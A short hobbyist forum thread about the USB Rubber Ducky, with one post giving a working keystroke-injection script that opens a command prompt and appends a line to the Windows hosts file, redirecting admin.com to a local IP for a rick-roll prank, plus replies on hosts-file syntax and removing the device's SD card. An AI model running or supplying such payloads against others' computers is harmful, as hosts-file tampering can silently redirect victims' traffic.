[[Question] The Duck and HowTo Rick-Role?]

Thanks, that is a good tip. I'm not sure i would use the control escape though, it limits your script to win 7 machines since xp doesn't have the run field in the start menu. I will check it out, there shouldn't be any issue using GUI r instead

[[Question] The Duck and HowTo Rick-Role?]

here is a payload i tested on my personal computer on lunch (i live close enough to work to go home and eat)

DELAY 3000
GUI d
DELAY 50
GUI r
DELAY 50
STRING cmd
DELAY 50
ENTER
DELAY 50
STRING ECHO. >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS
DELAY 50
ENTER
DELAY 50
STRING ECHO 10.0.0.1 ADMIN.COM >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS
DELAY 50
ENTER

it mapped admin.com to my home router. it probably doesn't require all the delays, but they dont hurt anything and i was writing on my work computer so i didnt have a way to test timing of commands

[[Question] The Duck and HowTo Rick-Role?]

The hosts file only requires a space, not a tab. I have not tried on the ducky yet, but from cmd, echo. >> c:\windows\system32\drivers\etc\hosts will append a carriage return to ensure you are on a new line and echo IP DOMAIN >> c:\windows\system32\drivers\etc\hosts will append your desired entry

[[Question] How to remove sd card from usb ducky]

sounds like you have the same version as me. it is green with R1 but the card holder is completely soldered down. i took a pair of fine tipped needle nose pliers and gently pulled til it came out the first time. now after being used a bit, it comes out with a push from a fingernail